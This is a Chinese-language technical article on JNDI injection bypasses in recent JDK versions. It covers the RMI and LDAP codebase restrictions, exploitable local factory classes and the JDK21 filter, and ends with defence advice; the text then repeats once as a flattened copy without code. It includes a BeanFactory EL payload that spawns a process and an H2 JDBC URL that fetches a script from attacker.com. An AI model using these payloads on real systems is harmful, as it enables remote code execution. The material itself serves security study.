JDK 高版本下 JNDI 注入深度剖析
字数 2138 2025-08-29 22:41:01

JDK高版本下JNDI注入深度剖析与绕过技术

1. JNDI注入基础概念

JNDI (Java Naming and Directory Interface) 是Java提供的一个API,用于访问命名和目录服务。JNDI注入漏洞是指攻击者通过控制JNDI查找的名称,导致应用执行恶意代码的安全漏洞。

2. JDK高版本中的安全限制

2.1 RMI协议限制

在JDK高版本中,RMI协议的JNDI注入受到以下限制:

  1. RegistryContext#decodeObject方法中新增了条件判断:

    • 默认trustURLCodebase为false
    • 如果ref.getFactoryClassLocation()返回非空值,会抛出异常
  2. 关键代码路径:

    // RegistryContext.java
    if (!trustURLCodebase && ref != null && ref.getFactoryClassLocation() != null) {
        throw new ConfigurationException(...);
    }
    

2.2 LDAP协议限制

LDAP协议的限制体现在:

  1. DirectoryManager.getObjectInstance()方法中:

    • com.sun.jndi.ldap.object.trustURLCodebase默认为false
    • 阻止了远程类的加载
  2. 关键代码:

    // DirectoryManager.java
    if (!TRUST_URL_CODE_BASE) {
        throw new ConfigurationException(...);
    }
    

3. JDK高版本中的绕过技术

3.1 LDAP协议绕过(JDK17)

在JDK17中,可以通过反序列化绕过:

  1. Obj.decodeObject方法中存在反序列化路径
  2. 关键条件:
    if (!VersionHelper.isSerialDataAllowed()) {
        // JDK17中此条件为true,允许反序列化
    }
    
  3. 利用方式:
    • 使用已知的gadget链(如CC6)
    • 通过反序列化执行恶意代码

3.2 RMI协议绕过

RMI协议的绕过思路:

  1. 使ref.getFactoryClassLocation()返回null

    • 实例化ResourceRef时设置factoryLocation为null
  2. 利用本地存在的工厂类:

    • 寻找实现ObjectFactory接口的工厂类
    • 利用工厂类的getObjectInstance方法

3.3 可利用的工厂类分析

3.3.1 BeanFactory (org.apache.naming.factory.BeanFactory)

利用条件

  • Tomcat8依赖环境中存在
  • 需要ResourceRef实例

利用过程

  1. 设置beanClassNamejavax.el.ELProcessor
  2. 设置forceString属性为x=eval
  3. 通过反射调用eval方法执行恶意表达式

POC示例

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

3.3.2 MemoryUserDatabaseFactory (org.apache.catalina.users.MemoryUserDatabaseFactory)

利用方式1:XXE文件读取

  1. 设置pathname为恶意XML文件URL
  2. 利用open()方法解析XML时触发XXE

利用方式2:文件写入

  1. 结合BeanFactory创建必要目录
  2. 通过save()方法写入文件

3.3.3 BasicDataSourceFactory (org.apache.commons.dbcp2.BasicDataSourceFactory)

利用方式

  1. 通过JDBC连接执行恶意操作
  2. 支持多种数据库:
    • H2数据库:通过SQL注入执行命令
    • Apache Derby:通过SQL加载JAR执行代码

POC示例

ResourceRef ref = new ResourceRef("org.apache.commons.dbcp2.BasicDataSource", null, "", "", true, "org.apache.commons.dbcp2.BasicDataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'"));
ref.add(new StringRefAddr("username", "root"));
ref.add(new StringRefAddr("password", "password"));

3.3.4 DruidDataSourceFactory (com.alibaba.druid.pool.DruidDataSourceFactory)

特殊能力

  • 支持初始化SQL语句执行
  • 可用于加载恶意JAR或执行系统命令

3.3.5 GenericNamingResourcesFactory (org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory)

利用方式

  1. 通过setProperty方法调用setter
  2. 可利用的setter:
    • org.apache.commons.configuration2.SystemConfiguration.setSystemProperties
    • com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.setUserOverridesAsString(反序列化)

4. JDK21中的新限制

在JDK21中新增了更严格的限制:

  1. 使用NamingManagerHelper.getObjectInstance替代原方法
  2. 新增ObjectFactoriesFilter检查:
    • 只允许jdk.naming.rmi/com.sun.jndi.rmi.**开头的包名
    • 阻止了大多数第三方工厂类的利用

5. 防御建议

  1. 升级到最新JDK版本
  2. 限制JNDI查找的来源
  3. 禁用不必要的JNDI服务
  4. 使用安全管理器限制敏感操作
  5. 定期审计依赖库中的工厂类

6. 总结

JDK高版本虽然增加了对JNDI注入的防护,但通过精心构造的利用链仍然可能实现攻击。安全防护需要从多个层面进行,包括但不限于:

  • 及时更新JDK和依赖库
  • 严格控制反序列化操作
  • 限制网络访问权限
  • 实施最小权限原则

攻击者与防御者的对抗将持续演进,保持安全意识和技术更新是关键。

JDK高版本下JNDI注入深度剖析与绕过技术 1. JNDI注入基础概念 JNDI (Java Naming and Directory Interface) 是Java提供的一个API,用于访问命名和目录服务。JNDI注入漏洞是指攻击者通过控制JNDI查找的名称,导致应用执行恶意代码的安全漏洞。 2. JDK高版本中的安全限制 2.1 RMI协议限制 在JDK高版本中,RMI协议的JNDI注入受到以下限制: RegistryContext#decodeObject 方法中新增了条件判断: 默认 trustURLCodebase 为false 如果 ref.getFactoryClassLocation() 返回非空值,会抛出异常 关键代码路径: 2.2 LDAP协议限制 LDAP协议的限制体现在: DirectoryManager.getObjectInstance() 方法中: com.sun.jndi.ldap.object.trustURLCodebase 默认为false 阻止了远程类的加载 关键代码: 3. JDK高版本中的绕过技术 3.1 LDAP协议绕过(JDK17) 在JDK17中,可以通过反序列化绕过: Obj.decodeObject 方法中存在反序列化路径 关键条件: 利用方式: 使用已知的gadget链(如CC6) 通过反序列化执行恶意代码 3.2 RMI协议绕过 RMI协议的绕过思路: 使 ref.getFactoryClassLocation() 返回null 实例化 ResourceRef 时设置 factoryLocation 为null 利用本地存在的工厂类: 寻找实现 ObjectFactory 接口的工厂类 利用工厂类的 getObjectInstance 方法 3.3 可利用的工厂类分析 3.3.1 BeanFactory (org.apache.naming.factory.BeanFactory) 利用条件 : Tomcat8依赖环境中存在 需要 ResourceRef 实例 利用过程 : 设置 beanClassName 为 javax.el.ELProcessor 设置 forceString 属性为 x=eval 通过反射调用 eval 方法执行恶意表达式 POC示例 : 3.3.2 MemoryUserDatabaseFactory (org.apache.catalina.users.MemoryUserDatabaseFactory) 利用方式1:XXE文件读取 设置 pathname 为恶意XML文件URL 利用 open() 方法解析XML时触发XXE 利用方式2:文件写入 结合 BeanFactory 创建必要目录 通过 save() 方法写入文件 3.3.3 BasicDataSourceFactory (org.apache.commons.dbcp2.BasicDataSourceFactory) 利用方式 : 通过JDBC连接执行恶意操作 支持多种数据库: H2数据库:通过SQL注入执行命令 Apache Derby:通过SQL加载JAR执行代码 POC示例 : 3.3.4 DruidDataSourceFactory (com.alibaba.druid.pool.DruidDataSourceFactory) 特殊能力 : 支持初始化SQL语句执行 可用于加载恶意JAR或执行系统命令 3.3.5 GenericNamingResourcesFactory (org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory) 利用方式 : 通过 setProperty 方法调用setter 可利用的setter: org.apache.commons.configuration2.SystemConfiguration.setSystemProperties com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.setUserOverridesAsString (反序列化) 4. JDK21中的新限制 在JDK21中新增了更严格的限制: 使用 NamingManagerHelper.getObjectInstance 替代原方法 新增 ObjectFactoriesFilter 检查: 只允许 jdk.naming.rmi/com.sun.jndi.rmi.** 开头的包名 阻止了大多数第三方工厂类的利用 5. 防御建议 升级到最新JDK版本 限制JNDI查找的来源 禁用不必要的JNDI服务 使用安全管理器限制敏感操作 定期审计依赖库中的工厂类 6. 总结 JDK高版本虽然增加了对JNDI注入的防护,但通过精心构造的利用链仍然可能实现攻击。安全防护需要从多个层面进行,包括但不限于: 及时更新JDK和依赖库 严格控制反序列化操作 限制网络访问权限 实施最小权限原则 攻击者与防御者的对抗将持续演进,保持安全意识和技术更新是关键。